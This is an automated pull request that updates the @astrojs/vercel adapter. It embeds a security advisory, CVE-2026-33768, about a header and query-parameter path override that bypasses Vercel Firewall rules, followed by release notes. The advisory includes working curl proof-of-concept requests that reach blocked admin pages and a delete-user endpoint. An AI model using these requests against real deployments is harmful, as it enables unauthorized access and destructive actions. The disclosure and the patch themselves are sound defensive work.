fix(deps): update dependency @astrojs/vercel to v10 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
@astrojs/vercel (source)	^9.0.0 → ^10.0.0

GitHub Vulnerability Alerts

CVE-2026-33768

Summary

The @astrojs/vercel serverless entrypoint reads the x-astro-path header and x_astro_path query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.

The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/* does nothing when the request comes in as POST /api/health?x_astro_path=/admin/delete-user.

Affected Versions

Verified against:

• Astro 5.18.1 + @​astrojs/vercel 9.0.4 — GET and POST override both work. Full exploitation.
• Astro 6.0.3 + @​astrojs/vercel 10.0.0 — GET override works. POST/DELETE hit a duplex bug in the Request constructor (the duplex: 'half' option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes body: request.body and intends to preserve it. Once the missing duplex option is added, all methods will be exploitable on v6 as well.

The vulnerable code path is identical across both versions.

Affected Component

• Package: @astrojs/vercel
• File: packages/integrations/vercel/src/serverless/entrypoint.ts (lines 19–28)
• Constants: packages/integrations/vercel/src/index.ts (lines 44–45)

Vulnerable Code

The handler blindly trusts the caller-supplied path:

const realPath =
    request.headers.get(ASTRO_PATH_HEADER) ??
    url.searchParams.get(ASTRO_PATH_PARAM);
if (typeof realPath === 'string') {
    url.pathname = realPath;  // no validation, no auth
    request = new Request(url.toString(), {
        method: request.method,   // preserved
        headers: request.headers, // preserved
        body: request.body,       // preserved
    });
}

What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:

// x-astro-locals: protected
if (astroLocalsHeader) {
    if (middlewareSecretHeader !== middlewareSecret) {
        return new Response('Forbidden', { status: 403 });
    }
    locals = JSON.parse(astroLocalsHeader);
}
// x-astro-path: no equivalent check (lines 19-28 above)

Conditions

1. Astro + @astrojs/vercel adapter
2. output: 'server' (SSR)
3. No src/middleware.ts defined, or middleware not using Edge mode

This is a realistic production configuration. Middleware is optional and many deployments skip it.

The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (_render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.

Proof of Concept

Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/*.

GET — page content override:

curl "https://target.vercel.app/public?x_astro_path=/admin/secret"

# Returns: PAGE_ID: admin-secret

GET — API route override:

curl "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"

# Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}

Header override:

curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public

# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (GET):

# Direct access — blocked
curl https://target.vercel.app/admin/secret

# Returns: Forbidden

# Via override — Firewall sees /public, serves /admin/secret
curl "https://target.vercel.app/public?x_astro_path=/admin/secret"

# Returns: PAGE_ID: admin-secret

Vercel Firewall bypass (POST) — verified on Astro 5.x:

# Direct access — blocked
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  https://target.vercel.app/admin/delete-user

# Returns: Forbidden

# Via override — Firewall sees /api/health, executes POST /admin/delete-user
curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \
  "https://target.vercel.app/api/health?x_astro_path=/admin/delete-user"

# Returns: {"action":"delete-user","status":"deleted","method":"POST"}

The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.

ISR is not affected. Vercel's cache layer appears to intercept before the function runs.

Impact

Firewall/WAF bypass — read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.

Firewall/WAF bypass — write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.

Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?x_astro_path=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what x_astro_path means — standard monitoring and alerting based on request paths will not catch it.

Prior Art

CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.

---

Release Notes

withastro/astro (@​astrojs/vercel)

v10.0.2

Compare Source

Patch Changes

• #​15959 335a204 Thanks @​matthewp! - Fix Vercel serverless path override handling so override values are only applied when the trusted middleware secret is present.

v10.0.1

Compare Source

Patch Changes

• #​15934 6f8f0bc Thanks @​ematipico! - Updates the Astro peerDependencies#astro to be 6.0.0.

v10.0.0

Compare Source

Major Changes

• #​15413 736216b Thanks @​florian-lefebvre! - Removes the deprecated @astrojs/vercel/serverless and @astrojs/vercel/static exports. Use the @astrojs/vercel export instead

Minor Changes

• #​15258 d339a18 Thanks @​ematipico! - Stabilizes the adapter feature experimentalStatiHeaders. If you were using this feature in any of the supported adapters, you'll need to change the name of the flag:

  export default defineConfig({
    adapter: netlify({
  -    experimentalStaticHeaders: true
  +    staticHeaders: true
    })
  })

• #​15413 736216b Thanks @​florian-lefebvre! - Updates the implementation to use the new Adapter API

• #​15495 5b99e90 Thanks @​leekeh! - Adds new middlewareMode adapter feature and deprecates edgeMiddleware option

  The edgeMiddleware option is now deprecated and will be removed in a future release, so users should transition to using the new middlewareMode feature as soon as possible.

  export default defineConfig({
    adapter: vercel({
  -    edgeMiddleware: true
  +    middlewareMode: 'edge'
    })
  })

• #​14946 95c40f7 Thanks @​ematipico! - Removes the experimental.csp flag and replaces it with a new configuration option security.csp - (v6 upgrade guidance)

Patch Changes

• #​15781 2de969d Thanks @​ematipico! - Adds a new clientAddress option to the createContext() function

  Providing this value gives adapter and middleware authors explicit control over the client IP address. When not provided, accessing clientAddress throws an error consistent with other contexts where it is not set by the adapter.

  Additionally, both of the official Netlify and Vercel adapters have been updated to provide this information in their edge middleware.

  import { createContext } from 'astro/middleware';
  
  createContext({
    clientAddress: context.headers.get('x-real-ip'),
  });

• #​15778 4ebc1e3 Thanks @​ematipico! - Fixes an issue where the computed clientAddress was incorrect in cases of a Request header with multiple values. The clientAddress is now also validated to contain only characters valid in IP addresses, rejecting injection payloads.

• #​15460 ee7e53f Thanks @​florian-lefebvre! - Updates to use the new Adapter API

• #​15450 50c9129 Thanks @​florian-lefebvre! - Fixes a case where build.serverEntry would not be respected when using the new Adapter API

• #​15461 9f21b24 Thanks @​florian-lefebvre! - Updates to new Adapter API introduced in v6

• #​15125 6feb0d7 Thanks @​florian-lefebvre! - Updates Node versions data to account for v24 as the default

• Updated dependencies [4ebc1e3, 4e7f3e8, a164c77, cf6ea6b, a18d727, 240c317, 745e632]:

  • @​astrojs/internal-helpers@​0.8.0

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • ""
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[vercel]

The latest updates on your projects. Learn more about Vercel for GitHub.

1 Skipped Deployment

Project	Deployment	Actions	Updated (UTC)
clubs-storage	Ignored		Apr 14, 2026 11:45am